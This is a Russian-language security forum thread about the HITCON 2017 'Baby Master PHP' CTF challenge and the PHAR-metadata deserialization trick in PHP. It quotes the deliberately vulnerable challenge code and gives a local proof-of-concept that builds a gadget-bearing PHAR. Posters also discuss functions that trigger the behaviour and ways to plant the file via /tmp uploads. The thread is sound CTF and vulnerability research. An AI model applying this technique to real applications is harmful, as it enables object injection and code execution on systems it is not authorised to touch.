Старый 06.11.2017, 12:40   #1
Beched
 
Регистрация: 06.07.2010
Сообщений: 392
Репутация: 118
По умолчанию Чтение файлов => unserialize !

Огненный подгон от тайваньский друзей.

Давеча прошёл HITCON CTF Quals (https://ctf2017.hitcon.org/dashboard/). Там были веб-таски от Orange.
Один из них никто не решил:
Цитата:
Baby^H Master PHP 2017
PHP is the best programming language in the world!

http://13.115.31.205
Код таска:
PHP код:
 <?php
    $FLAG    
create_function(""'die(`/read_flag`);');
    
$SECRET  = `/read_secret`;
    
$SANDBOX "/var/www/data/" md5("orange" $_SERVER["REMOTE_ADDR"]); 
    @
mkdir($SANDBOX);
    @
chdir($SANDBOX);

    if (!isset(
$_COOKIE["session-data"])) {
        
$data serialize(new User($SANDBOX));
        
$hmac hash_hmac("sha1"$data$SECRET);
        
setcookie("session-data"sprintf("%s-----%s"$data$hmac));
    }

    class 
User {
        public 
$avatar;
        function 
__construct($path) {
            
$this->avatar $path;
        }
    }

    class 
Admin extends User {
        function 
__destruct(){
            
$random bin2hex(openssl_random_pseudo_bytes(32));
            eval(
"function my_function_$random() {"
                
."  global \$FLAG; \$FLAG();"
                
."}");
            
$_GET["lucky"]();
        }
    }

    function 
check_session() {
        global 
$SECRET;
        
$data $_COOKIE["session-data"];
        list(
$data$hmac) = explode("-----"$data2);
        if (!isset(
$data$hmac) || !is_string($data) || !is_string($hmac))
            die(
"Bye");
        if ( !
hash_equals(hash_hmac("sha1"$data$SECRET), $hmac) )
            die(
"Bye Bye");

        
$data unserialize($data);
        if ( !isset(
$data->avatar) )
            die(
"Bye Bye Bye");
        return 
$data->avatar;
    }

    function 
upload($path) {
        
$data file_get_contents($_GET["url"] . "/avatar.gif");
        if (
substr($data06) !== "GIF89a")
            die(
"Fuck off");
        
file_put_contents($path "/avatar.gif"$data);
        die(
"Upload OK");
    }

    function 
show($path) {
        if ( !
file_exists($path "/avatar.gif") )
            
$path "/var/www/html";
        
header("Content-Type: image/gif");
        die(
file_get_contents($path "/avatar.gif"));
    }

    
$mode $_GET["m"];
    if (
$mode == "upload")
        
upload(check_session());
    else if (
$mode == "show")
        
show(check_session());
    else
        
highlight_file(__FILE__);
Решение: https://github.com/orangetw/My-CTF-W...aster-php-2017

Так вот, внезапно выясняется, что PHP производит десериализацию метаданных при чтении PHAR-архива, и почему-то никто из нас этого не знал.
Пруф в сорцах:
https://github.com/php/php-src/blob/...ar/phar.c#L609
Пруф вектор:
http://view-source:https://raw.githu...017/avatar.gif

Почему-то никто про это не знал.
Цитата:
[13:13] <Beched> wow!
[13:13] <Beched> https://github.com/php/php-src/blob/238916b5c9b7d09a711aad5656710eb4d1a80518/ext/phar/phar.c#L609
[13:14] <Beched> omg is this common knowledge? =)
[13:14] <Beched> where did you learn that PHP deserializes metadata in phars?
[13:14] <Beched> somehow no one knew that among us
[13:27] <orange_> I read the PHP source code in my free time
[13:27] <orange_> I think both tricks are not seen on the Internet
[13:27] <orange_> That's why nobody solve it
[13:38] <Beched> yeah that's cool
[13:38] <Beched> turning arbitrary read into unserialize
А вот как можно проверить у себя:
PHP код:
<?php

if(count($argv) > 1) {
    @
readfile("phar://./deser.phar");
    exit;
}

class 
Hui {
    function 
__destruct() {
        echo 
"PWN\n";
    }
}

@
unlink('deser.phar');
try {
    
$p = new Phar(dirname(__FILE__) . '/deser.phar'0);
    
$p['file.txt'] = 'test';
    
$p->setMetadata(new Hui());
    
$p->setStub('<?php __HALT_COMPILER(); ?>');
} catch (
Exception $e) {
    echo 
'Could not create and/or modify phar:'$e;
}

?>
Создаём PHAR:
Код:
$ php -dphar.readonly=0 proof.php
PWN
Проверяем десериализацию при чтении:
Код:
$ php -dphar.readonly=0 proof.php 1
PWN
Зависимости:

Обёртка phar:// не работает с удалёнными хостами, поэтому нужно сначала загрузить файл на сервер. Но наличие стаба позволяет сформировать произвольный заголовок (в таске, например, нужно было вставить GIF89a в начало).

Последний раз редактировалось Beched; 06.11.2017 в 12:45..
Beched вне форума   Ответить с цитированием
Старый 07.11.2017, 02:22   #2
crlf
 
Аватар для crlf
 
Регистрация: 29.09.2015
Сообщений: 97
Репутация: 17
По умолчанию

Вроде вот оно, под носом https://bugs.php.net/bug.php?id=69324, ан нет, нужне ещё думалку включать
Good news, thanks!
crlf вне форума   Ответить с цитированием
Старый 07.11.2017, 17:00   #3
Beched
 
Регистрация: 06.07.2010
Сообщений: 392
Репутация: 118
По умолчанию

Цитата:
Сообщение от crlf Посмотреть сообщение
Вроде вот оно, под носом https://bugs.php.net/bug.php?id=69324, ан нет, нужне ещё думалку включать
Good news, thanks!
Хы, забавно. А ещё, чтоб найти это, достаточно было прогрепать сишные сорцы на слово unserialize, там всего 37 результатов: https://github.com/php/php-src/search?l=C&q=unserialize&type=&utf8=%E2%9C%93

Кстати, вектор в принципе реален ввиду следующих фактов:
1) Нам не нужен вывод от чтения, достаточно самого вызова file_get_contents или readfile или XXE и т.д. (любой функции с поддержкой обёрток);
2) Залить файл часто можно в /tmp/, дальше лик через phpinfo или брут.

Последний раз редактировалось Beched; 09.11.2017 в 15:42..
Beched вне форума   Ответить с цитированием
Старый 14.11.2017, 19:30   #4
crlf
 
Аватар для crlf
 
Регистрация: 29.09.2015
Сообщений: 97
Репутация: 17
По умолчанию

Цитата:
Сообщение от Beched Посмотреть сообщение
1) Нам не нужен вывод от чтения, достаточно самого вызова file_get_contents или readfile или XXE и т.д.
Из неочевидных:
Код:
file_exists
getimagesize
is_file
is_dir
is_readable
is_writable
и т.д.

Тут есть ещё на что посмотреть. Функции записи в файл, не юзабельны, по крайней мере у меня не взлетело. Есть загвоздки, как по ограничению в php.ini, так и с обязательным расширением .phar.

Последний раз редактировалось crlf; 14.11.2017 в 21:40..
crlf вне форума   Ответить с цитированием
Старый 03.01.2018, 01:58   #5
crlf
 
Аватар для crlf
 
Регистрация: 29.09.2015
Сообщений: 97
Репутация: 17
По умолчанию

Цитата:
Сообщение от Beched Посмотреть сообщение
2) Залить файл часто можно в /tmp/, дальше лик через phpinfo или брут.
Что-то не хочет phar файлы без расширения цеплять
Цитата:
Warning: file_get_contents(phar:///tmp/phpAo7pXX): failed to open stream: phar error: no directory in "phar:///tmp/phpAo7pXX", must have at least phar:///tmp/phpAo7pXX/ for root directory (always use full path to a new phar) in /var/www/test.php on line 4
Попытался поковыряться в сорцах, вроде нашёл загвоздку:

phar/stream.c
phar/phar.c

Судя по функции phar_detect_phar_fname_ext и её описанию, без расширения, будем получать только FAILURE. В сях не силён и большая часть кода китайская грамота для меня, поэтому прошу компетентных людей дать своё заключение, потеряно ли развитие вектора в этом направлении.
crlf вне форума   Ответить с цитированием
Старый 05.01.2018, 14:30   #6
crlf
 
Аватар для crlf
 
Регистрация: 29.09.2015
Сообщений: 97
Репутация: 17
По умолчанию

Вроде никак, phar.c#L2014:

Код:
	pos = memchr(filename + 1, '.', filename_len);
next_extension:
	if (!pos) {
		return FAILURE;
}
crlf вне форума   Ответить с цитированием
Старый 06.02.2018, 23:04   #7
Beched
 
Регистрация: 06.07.2010
Сообщений: 392
Репутация: 118
По умолчанию

Блин, отстой... Тоже не нашёл байпасса. Ну, значит, нужен нормальный аплоад или ссрф =(
Beched вне форума   Ответить с цитированием
Старый 07.02.2018, 00:00   #8
crlf
 
Аватар для crlf
 
Регистрация: 29.09.2015
Сообщений: 97
Репутация: 17
По умолчанию

Цитата:
Сообщение от Beched Посмотреть сообщение
или ссрф =(
Если есть возможность эксплуатировать эту фичу, то это же полюбому ссрф? Чёт не догнал %)
crlf вне форума   Ответить с цитированием
Старый 07.02.2018, 11:10   #9
Beched
 
Регистрация: 06.07.2010
Сообщений: 392
Репутация: 118
По умолчанию

Цитата:
Сообщение от crlf Посмотреть сообщение
Если есть возможность эксплуатировать эту фичу, то это же полюбому ссрф? Чёт не догнал %)
Ну коннекты наружу могут быть порезаны, или allow_url_fopen=off, а нам надо подсунуть свой файл с нужным расширением.
Beched вне форума   Ответить с цитированием
Ответ

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход



Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2018, Jelsoft Enterprises Ltd. Перевод: zCarot